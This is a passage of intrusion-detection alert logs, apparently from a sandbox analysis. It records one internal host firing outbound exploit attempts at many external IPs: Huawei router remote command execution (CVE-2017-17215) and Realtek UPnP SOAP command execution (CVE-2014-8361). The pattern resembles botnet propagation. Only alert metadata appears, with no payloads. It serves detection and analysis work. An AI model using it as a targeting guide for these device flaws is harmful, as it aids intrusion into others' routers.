Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.118.42.51

Timestamp:	07/20/24-23:01:11.632393
SID:	2835222
Source Port:	37508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.254.137.62

Timestamp:	07/20/24-23:01:51.743446
SID:	2831300
Source Port:	36894
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.53.250.191

Timestamp:	07/20/24-23:01:42.634606
SID:	2027339
Source Port:	60262
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 123.91.96.233

Timestamp:	07/20/24-23:01:41.148932
SID:	2027339
Source Port:	54090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 52.14.151.104

Timestamp:	07/20/24-23:01:59.738271
SID:	2025132
Source Port:	34290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 107.208.110.238

Timestamp:	07/20/24-23:01:08.646615
SID:	2027339
Source Port:	51990
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 125.53.48.130

Timestamp:	07/20/24-23:01:31.322217
SID:	2027339
Source Port:	50420
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 53.50.156.29

Timestamp:	07/20/24-23:01:53.066716
SID:	2831300
Source Port:	43292
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 54.42.165.29

Timestamp:	07/20/24-23:01:58.202290
SID:	2831300
Source Port:	33930
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 106.236.204.67

Timestamp:	07/20/24-23:01:43.489480
SID:	2027339
Source Port:	45674
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 203.80.83.187

Timestamp:	07/20/24-23:01:42.322405
SID:	2025132
Source Port:	35100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.13.32.83

Timestamp:	07/20/24-23:01:44.700808
SID:	2027339
Source Port:	55012
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.36.171.85

Timestamp:	07/20/24-23:01:14.164018
SID:	2027339
Source Port:	34592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.189.57.200

Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	47744
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.254.32.226

Timestamp:	07/20/24-23:01:40.322860
SID:	2829579
Source Port:	42490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 157.202.7.129

Timestamp:	07/20/24-23:01:01.150119
SID:	2027339
Source Port:	42464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.211.43.107

Timestamp:	07/20/24-23:01:47.147727
SID:	2027339
Source Port:	38340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 129.78.244.230

Timestamp:	07/20/24-23:01:58.995803
SID:	2025132
Source Port:	54222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.150.162.76

Timestamp:	07/20/24-23:01:20.591832
SID:	2027339
Source Port:	45912
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 113.178.52.80

Timestamp:	07/20/24-23:01:44.510114
SID:	2027339
Source Port:	43984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 43.227.14.32

Timestamp:	07/20/24-23:01:04.747554
SID:	2025132
Source Port:	57824
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.3.21.51

Timestamp:	07/20/24-23:01:11.818830
SID:	2835222
Source Port:	57220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.202.108.197

Timestamp:	07/20/24-23:01:25.845560
SID:	2027339
Source Port:	43370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.183.196.72

Timestamp:	07/20/24-23:01:46.450129
SID:	2027339
Source Port:	48682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 135.9.168.169

Timestamp:	07/20/24-23:01:08.581974
SID:	2831300
Source Port:	59630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.219.42.227

Timestamp:	07/20/24-23:01:08.652877
SID:	2831300
Source Port:	34774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.145.238.56

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	36096
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.176.101.215

Timestamp:	07/20/24-23:00:59.161892
SID:	2829579
Source Port:	52752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 121.14.221.201

Timestamp:	07/20/24-23:01:20.181938
SID:	2829579
Source Port:	37164
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.159.88.79

Timestamp:	07/20/24-23:00:57.222091
SID:	2829579
Source Port:	55906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 105.66.231.198

Timestamp:	07/20/24-23:01:48.986585
SID:	2025132
Source Port:	52706
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 151.194.118.37

Timestamp:	07/20/24-23:01:08.611774
SID:	2027339
Source Port:	59634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.217.163.253

Timestamp:	07/20/24-23:01:43.001716
SID:	2025132
Source Port:	36388
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.121.20.109

Timestamp:	07/20/24-23:01:07.005156
SID:	2829579
Source Port:	60556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 209.27.18.74

Timestamp:	07/20/24-23:01:59.660917
SID:	2831300
Source Port:	38730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.196.45.114

Timestamp:	07/20/24-23:01:41.722161
SID:	2027339
Source Port:	43486
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.95.27.201

Timestamp:	07/20/24-23:01:00.638305
SID:	2829579
Source Port:	48956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 209.48.250.210

Timestamp:	07/20/24-23:01:27.664887
SID:	2835222
Source Port:	36670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 79.217.40.139

Timestamp:	07/20/24-23:01:50.255748
SID:	2831300
Source Port:	60794
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 136.148.234.160

Timestamp:	07/20/24-23:01:46.261026
SID:	2831300
Source Port:	51210
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 223.155.76.150

Timestamp:	07/20/24-23:01:53.631467
SID:	2025132
Source Port:	50728
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.40.156.6

Timestamp:	07/20/24-23:02:12.082957
SID:	2027339
Source Port:	33200
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.33.43.162

Timestamp:	07/20/24-23:01:41.286911
SID:	2027339
Source Port:	45074
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.137.178.82

Timestamp:	07/20/24-23:02:00.055900
SID:	2027339
Source Port:	38080
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 115.35.215.139

Timestamp:	07/20/24-23:01:02.130152
SID:	2025132
Source Port:	59250
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 152.44.195.237

Timestamp:	07/20/24-23:01:41.258056
SID:	2027339
Source Port:	44682
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.248.174.120

Timestamp:	07/20/24-23:02:01.256493
SID:	2027339
Source Port:	52512
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 115.205.119.137

Timestamp:	07/20/24-23:01:31.982801
SID:	2835222
Source Port:	37172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 85.144.205.165

Timestamp:	07/20/24-23:01:44.546338
SID:	2027339
Source Port:	52250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 73.50.29.53

Timestamp:	07/20/24-23:01:45.625081
SID:	2027339
Source Port:	59666
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.159.36.252

Timestamp:	07/20/24-23:01:45.179680
SID:	2027339
Source Port:	59814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.124.94.169

Timestamp:	07/20/24-23:02:11.592030
SID:	2027339
Source Port:	53838
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 197.168.237.206

Timestamp:	07/20/24-23:01:41.750477
SID:	2831300
Source Port:	47958
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 207.100.140.133

Timestamp:	07/20/24-23:01:43.918137
SID:	2025132
Source Port:	35520
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.151.6.155

Timestamp:	07/20/24-23:01:45.109699
SID:	2831300
Source Port:	52936
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 157.108.156.75

Timestamp:	07/20/24-23:01:25.600782
SID:	2025132
Source Port:	56522
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 98.169.154.123

Timestamp:	07/20/24-23:01:47.906061
SID:	2027339
Source Port:	33136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 143.38.216.11

Timestamp:	07/20/24-23:01:31.335096
SID:	2831300
Source Port:	52352
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 117.32.81.72

Timestamp:	07/20/24-23:02:08.246801
SID:	2025132
Source Port:	37326
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 119.38.147.179

Timestamp:	07/20/24-23:01:31.318206
SID:	2027339
Source Port:	57560
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.100.137

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	58132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.15.115.232

Timestamp:	07/20/24-23:00:57.221803
SID:	2829579
Source Port:	50602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 59.29.162.151

Timestamp:	07/20/24-23:01:04.040812
SID:	2829579
Source Port:	54746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 174.188.105.70

Timestamp:	07/20/24-23:01:20.157620
SID:	2835222
Source Port:	48022
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.59.135.254

Timestamp:	07/20/24-23:01:04.098080
SID:	2829579
Source Port:	42932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.136.217.138

Timestamp:	07/20/24-23:02:02.509837
SID:	2025132
Source Port:	54854
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.21.89.53

Timestamp:	07/20/24-23:01:11.632393
SID:	2829579
Source Port:	38378
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 40.122.120.5

Timestamp:	07/20/24-23:01:49.272788
SID:	2831300
Source Port:	37376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 89.142.100.244

Timestamp:	07/20/24-23:01:55.546480
SID:	2831300
Source Port:	56136
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 161.20.12.87

Timestamp:	07/20/24-23:01:02.280127
SID:	2025132
Source Port:	36392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 147.129.214.239

Timestamp:	07/20/24-23:01:11.816074
SID:	2835222
Source Port:	39208
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 217.255.100.151

Timestamp:	07/20/24-23:01:20.591397
SID:	2027339
Source Port:	44614
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.233.118.145

Timestamp:	07/20/24-23:01:07.061779
SID:	2829579
Source Port:	37316
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 209.24.146.250

Timestamp:	07/20/24-23:01:44.408559
SID:	2027339
Source Port:	43712
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.75.171.71

Timestamp:	07/20/24-23:01:53.041672
SID:	2027339
Source Port:	46152
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 67.41.35.87

Timestamp:	07/20/24-23:01:42.703494
SID:	2831300
Source Port:	60618
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 41.175.245.11

Timestamp:	07/20/24-23:01:57.297792
SID:	2025132
Source Port:	50068
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.116.51.144

Timestamp:	07/20/24-23:01:40.296076
SID:	2829579
Source Port:	46558
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 158.36.226.221

Timestamp:	07/20/24-23:01:42.101588
SID:	2027339
Source Port:	35156
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.78.152.186

Timestamp:	07/20/24-23:01:24.929013
SID:	2835222
Source Port:	56196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 176.127.40.36

Timestamp:	07/20/24-23:01:42.093693
SID:	2025132
Source Port:	56640
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 184.170.174.78

Timestamp:	07/20/24-23:01:43.476083
SID:	2027339
Source Port:	40904
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 170.121.46.240

Timestamp:	07/20/24-23:01:48.701127
SID:	2027339
Source Port:	53308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.20.53.198

Timestamp:	07/20/24-23:00:59.211046
SID:	2829579
Source Port:	38176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 168.165.233.141

Timestamp:	07/20/24-23:00:57.222008
SID:	2835222
Source Port:	35550
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 13.232.148.145

Timestamp:	07/20/24-23:01:40.336908
SID:	2835222
Source Port:	46646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.205.165.15

Timestamp:	07/20/24-23:01:42.800757
SID:	2027339
Source Port:	41210
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 115.85.103.199

Timestamp:	07/20/24-23:01:21.923917
SID:	2835222
Source Port:	32936
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.44.142.130

Timestamp:	07/20/24-23:01:43.085956
SID:	2027339
Source Port:	55404
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 107.163.195.19

Timestamp:	07/20/24-23:01:45.034156
SID:	2831300
Source Port:	33716
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 118.217.116.132

Timestamp:	07/20/24-23:01:26.031343
SID:	2025132
Source Port:	53470
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.182.219.57

Timestamp:	07/20/24-23:01:31.977603
SID:	2835222
Source Port:	42646
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.118.234.148

Timestamp:	07/20/24-23:01:44.826234
SID:	2831300
Source Port:	42172
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.66.196.35

Timestamp:	07/20/24-23:01:42.984532
SID:	2025132
Source Port:	44358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 70.132.198.251

Timestamp:	07/20/24-23:01:06.994337
SID:	2835222
Source Port:	37978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 137.85.104.5

Timestamp:	07/20/24-23:01:44.469580
SID:	2025132
Source Port:	43018
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 142.215.251.21

Timestamp:	07/20/24-23:01:45.188773
SID:	2831300
Source Port:	60842
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.48.178.89

Timestamp:	07/20/24-23:01:26.100052
SID:	2027339
Source Port:	47786
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.66.59.209

Timestamp:	07/20/24-23:01:52.388927
SID:	2027339
Source Port:	36042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

